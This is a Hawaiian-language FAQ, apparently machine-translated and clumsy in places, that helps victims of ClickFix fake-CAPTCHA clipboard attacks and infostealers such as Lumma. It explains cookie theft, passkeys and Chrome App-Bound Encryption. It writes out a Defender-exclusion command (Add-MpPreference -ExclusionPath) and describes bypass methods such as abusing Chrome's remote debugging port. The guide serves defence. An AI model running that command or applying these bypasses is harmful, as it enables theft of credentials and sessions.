ʻAʻole, palekana loa ʻoe. Hiki i ka ʻaoʻao pūnaewele puni honua ke kope i ka kikokikona i loko o kāu papa paʻi me ka JavaScript (navigator.clipboard.writeText), a me ke kaomi ʻana Win + R ukali e Ctrl + V hoʻopili wale i kēlā kaula kikokikona i loko o ka pahu hoʻokomo Windows Run. ʻAʻohe mea e hoʻokō a paʻi ʻoe Komo a kaomi paha OK. Inā ʻoe i kaomi Hoʻopau a pani i ka Holo pahu me ke kaomi ole Komo, ʻaʻohe kauoha i hoʻokuʻu ʻia. E hoʻomaʻemaʻe wale i kāu papa kiʻi ma ke kope ʻana i kahi huaʻōlelo like ʻole Aloha i ka Notepad a pani i ka ʻaoʻao polokalamu ʻino.

No ke aha i pale ʻole ai ʻo Windows Defender a i ʻole kaʻu antivirus i ke kauoha i koʻu hoʻopili ʻana iā ia Win + R?¶

No ka mea, ʻo ʻoe - ka mea hoʻohana kanaka i hoʻopaʻa ʻia - paʻi kino ʻia Win + R a hahau Komo, Mālama ʻo Windows i ke kauoha ma ke ʻano he hana hoʻokele manaʻo i hoʻomaka ʻia mai explorer.exe ma mua o kahi faila hilinaʻi ʻole i hoʻoiho ʻia mai ka pūnaewele (e lawe mau i kahi Mark-of-the-Web Zone.Identifier hōʻailona). Eia kekahi, hoʻohana nā kaulahao ClickFix i kūkulu ʻia i loko o Microsoft i kau inoa ʻia nā binaries (mshta.exe, powershell.exe, conhost.exe, a i ʻole i pūlima ʻia i nā unuhi ʻaoʻao ʻekolu e like me AutoIt3.exe) e hōʻuluʻulu a hoʻokaʻawale i ka uku uku ma RAM, hoʻokō pinepine Hoʻohui-MpPreference -ExclusionPath "C:\" i ka millisecond mua ma mua o ke kākau ʻana i kekahi faila malware ʻike ʻia i ka disk.

ʻaihue ka mea ʻaihue ʻike i nā faila mai nā moʻokāki mea hoʻohana āpau ma kaʻu PC, a i ʻole koʻu ʻaoʻao i hoʻopaʻa ʻia (Default vs. Profile 1, Profile 2)?¶

ʻImi ʻaihue ʻike kēlā me kēia waihona moʻokalaleo i loko o kāu moʻokāki hoʻohana Windows (%LocalAppData%\Google\Chrome\User Data\Default, Palapala 1, Palapala 2, a pēlā aku, ma waena o Chrome, Edge, Brave, Opera, a me Firefox), ʻoiai inā ʻaʻohe puka makani o kēlā mau polokalamu kele pūnaewele lua i kēlā manawa. ʻO ia ke ʻano inā mālama ʻoe i kahi ʻaoʻao ʻokoʻa "Work" Chrome a me "Personal" Chrome profile ma lalo o ka Windows login like, Ua ʻaihue ʻia nā ʻōlelo huna ʻelua a me nā kuki hālāwai i ka manawa like.

He aha inā inā wau e hoʻohana ana i kahi Passkey ma kaʻu moʻokāki Google a i ʻole Microsoft - ua ʻaihue ka mea ʻaihue ʻike i kaʻu Passkey?¶

Aia ia ma kahi i mālama ʻia ai ka Passkey, a ʻoi aku ka mea nui, Ua ʻaihue maoli ia i ka cookie session active i hana ʻia ma hope o kou komo ʻana me kēlā Passkey. ʻO ka mea mua, inā ua komo mua ʻoe i Google/Microsoft ma Chrome/Edge ma kēlā PC, ʻaʻole pono ka mea hoʻouka i kāu Passkey no ka mea ua ʻaihue lākou i kāu kuki hui ola - no laila pono ʻoe e kaomi. E haʻalele i nā kau a pau ma kahi mea maʻemaʻe. ʻO ka lua, inā mālama ʻia kāu Passkey ma Windows Hello (TPM 2.0 ʻaʻole hiki ke hoʻokuʻu ʻia ke kī pilikino i loko o ka chip hardware a i ʻole ma YubiKey kino a i ʻole iPhone. Eia nō naʻe, inā mālama ʻoe i nā kī kī i hoʻopaʻa ʻia i loko o kahi waihona hoʻonui polokalamu ʻaoʻao ʻekolu i wehe ʻia ma kēlā PC, e hoʻopau koke i kēlā mau passkey i kāu hoʻonohonoho palekana moʻokāki.

Pehea ka "App-Bound Encryption" o Google Chrome (v20 nā kuki) pili, a hana Lumma Stealer kaawale ia?¶

E hoʻomaka ana ma Chrome 127+, ua hoʻokomo ʻo Google i ka App-Bound Encryption ma Windows, kahi e hoʻopaʻa ai i ka hoʻopunipuni kuki (`v20` prefix) i kahi lawelawe ʻōnaehana Windows kiʻekiʻe (`GoogleChromeElevationService`) e ho'ōki i ka malware haʻahaʻa mai ka wehe ʻana i nā kuki. Eia naʻe, kūkulu hou o Mea ʻaihue Lumma, AihueC, a Medusa kaʻalo ikaika i ka App-Bound Encryption ma ka hoʻokomo pololei ʻana i ke code i kahi poʻo ʻole o chrome.exe, hoʻohana ʻino i ke awa hoʻopololei mamao o Chrome (--remote-debugging-port), a i ʻole e hoʻokiʻekiʻe i nā pono e kāhea i ka IElevator COM interface. Mai noʻonoʻo ua pale ʻo Chrome 127+ i kāu mau kuki kau inā hoʻokō ʻoe i kahi uku uku ClickFix; e hoopau koke i na kau a pau.

Hiki i kahi kauoha ClickFix i hoʻokō ʻia ma kaʻu iPhone a i ʻole kelepona Android e hoʻopilikia i kaʻu kelepona me Win + R polokalamu kiloʻino?¶

Inā ʻoe i paʻi i kahi CAPTCHA hoʻopunipuni ma kahi iPhone (`iOS`) a i ʻole kelepona Android, kekahi Windows PowerShell / mshta.exe kauoha i kope ʻia i kāu papa paʻi paʻa lima ʻAʻole hiki ke hoʻokō ma iOS a i ʻole Android, no ka mea, ʻaʻole loaʻa nā ʻōnaehana lawelawe kelepona a Win + R Holo kamaʻilio, powershell.exe, a i ʻole mshta.exe. Eia naʻe, ʻike kekahi mau ʻaoʻao ClickFix mobile-aware i kāu Mobile User-Agent a hoʻihoʻi hou iā ʻoe e hoʻokomo i kahi Android ʻino. .apk file, kahi hoʻokele polokalamu kelepona ʻo iOS (`MDM`) ka palapala hoʻonohonoho hoʻonohonoho, a i ʻole kahi palapala hoʻolaha hoʻolaha PWA/Web Push. E hōʻoia inā ʻaʻole ʻoe i hoʻokomo i kahi faila a i ʻole ʻaoʻao.

Nā alakaʻi pili¶

• ʻO ka hoʻopaʻa ʻana i nā kuki hui, ka polokalamu infostealer, a me ka hoʻopau ʻana i ka passkey
• Hoʻokaʻawale ʻia ka ʻeke kālā Cryptocurrency a me nā huaʻōlelo huaʻōlelo
• Malware, ransomware, a me ka maʻi spyware
• Hoʻopili ʻia ka moʻokāki leka uila, nā lula hoʻouna, a me ka hoʻihoʻi ʻana
• Hoʻopili i ka pūʻolo npm/PyPI kaulahao hoʻolako a me ka hoʻololi ʻana i nā kī kī hana hoʻomohala
• ʻO ka hoʻopunipuni antivirus hoʻopunipuni, spam hoʻolaha, a me ka hoʻomaʻemaʻe ʻana i ka ʻae ʻana i ka polokalamu kele pūnaewele
• Nā helu pilikia ma ka ʻāina

Nā kumu a me ke alakaʻi kūhelu¶

• Keʻena palekana Cybersecurity a me Infrastructure Security Agency (CISA) a me ka Federal Bureau of Investigation (FBI) (ʻAmelika Hui Pū ʻIa): *Aʻoaʻo Hui Pū ʻIa Cybersecurity (AA24-131A / Infostealer & Lumma Stealer Hooweliweli Aʻoaʻo): Hoʻemi i ka noho ʻana ma waho o ka ʻāina (LOLBin) a me Session Token aihue hoouka *.
• National Institute of Standards and Technology (NIST) (United States): Special Publication 800-61 Rev. 2: Computer Security Incident Handling Guide & SP 800-63B: Digital Identity Guidelines (Session Management and Reauthentication).
• Microsoft Threat Intelligence (Microsoft Security): Ke kālailai ʻana i nā hoʻolaha hoʻolaha ʻenekinia Social ClickFix, hoʻopunipuni CAPTCHA Clipboard Injection (RunMRU), a me PowerShell Script Block Logging (Event ID 4104).
• Kikowaena Cyber ​​Lahui (NCSC) (United Kingdom): Hoʻemi i ka Malware a me Ransomware Attacks & Device-Level Credential Theft Guidance.
• Hui Pūʻulu ʻEulopa no Cybersecurity (ENISA): * ENISA Hoʻoweliweli Landscape Report: Info-Stealers (Lumma, StealC, RedLine, AMOS) a me nā hana hoʻopaʻa ʻana i ka hoʻopaʻa ʻana i nā kuki hui *.